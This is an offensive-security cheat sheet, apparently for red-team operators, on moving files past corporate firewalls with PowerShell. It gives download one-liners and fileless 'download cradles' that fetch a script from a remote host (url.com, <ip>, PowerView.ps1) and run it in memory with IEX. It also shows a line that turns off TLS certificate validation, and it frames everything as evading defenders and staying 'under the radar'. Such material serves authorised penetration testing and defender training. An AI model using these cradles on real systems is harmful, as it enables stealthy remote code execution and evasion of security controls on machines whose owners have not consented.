🌐 PowerShell Web Downloads -

Useful if HTTP/HTTPS browsing is allowed

🌐 PowerShell Web Downloads — Transfer Files Like a Ninja

Most companies allow HTTP/HTTPS traffic through the firewall ✅ This means you can use it to download files, but defenders might:

• ❌ Block specific file types (like .exe)

• ❌ Restrict by domain

• 🔐 Use Web filtering or allow only whitelisted websites

But you, the clever operator, still have PowerShell! 🧙‍♂️

---

⚙️ PowerShell's System.Net.WebClient Methods

Here’s what you can do with it:

Method	Description
OpenRead	Returns the data from a resource as a Stream.
OpenReadAsync	Returns the data from a resource without blocking the calling thread.
DownloadData	Downloads data from a resource and returns a Byte array.
DownloadDataAsync	Downloads data from a resource and returns a Byte array without blocking the calling thread.
DownloadFile	Downloads data from a resource to a local file.
DownloadFileAsync	Downloads data from a resource to a local file without blocking the calling thread.
DownloadString	Downloads a String from a resource and returns a String.
DownloadStringAsync	Downloads a String from a resource without blocking the calling thread.

---

💾 Download a File with DownloadFile

(New-Object Net.WebClient).DownloadFile('https://example.com/file.exe', 'C:\Users\Public\file.exe')

🔄 Download a File with DownloadFileAsync:

(New-Object Net.WebClient).DownloadFileAsync('https://example.com/file.exe', 'C:\Users\Public\file.exe')

---

🧠 Fileless Execution with DownloadString & IEX 🕵️‍♀️

No touching disk! 🫣 Just download and execute in memory:

IEX (New-Object Net.WebClient).DownloadString('https://url.com/script.ps1')

Or via pipeline (same thing):

(New-Object Net.WebClient).DownloadString('https://url.com/script.ps1') | IEX

Great for stealth operations 😎

---

🐢 Invoke-WebRequest (aka iwr, curl, wget)

Invoke-WebRequest 'https://url.com/script.ps1' -OutFile 'PowerView.ps1'

🚫 Slower than WebClient, but very powerful.

---

🧰 Common PowerShell Web Errors (and Fixes)

❌ Internet Explorer First-Launch Not Complete?

Fix it with:

Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX

❌ SSL/TLS Trust Error? (Invalid Cert) 🧻

Bypass it like this:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

Then retry your download.

---

📚 Pro Tip!

🔗 Harmj0y has a treasure chest of PowerShell download cradles. Study them! They help:

• Avoid disk writes 🛑🖱️

• Bypass proxy issues 🧱

• Stay under the radar 👻

---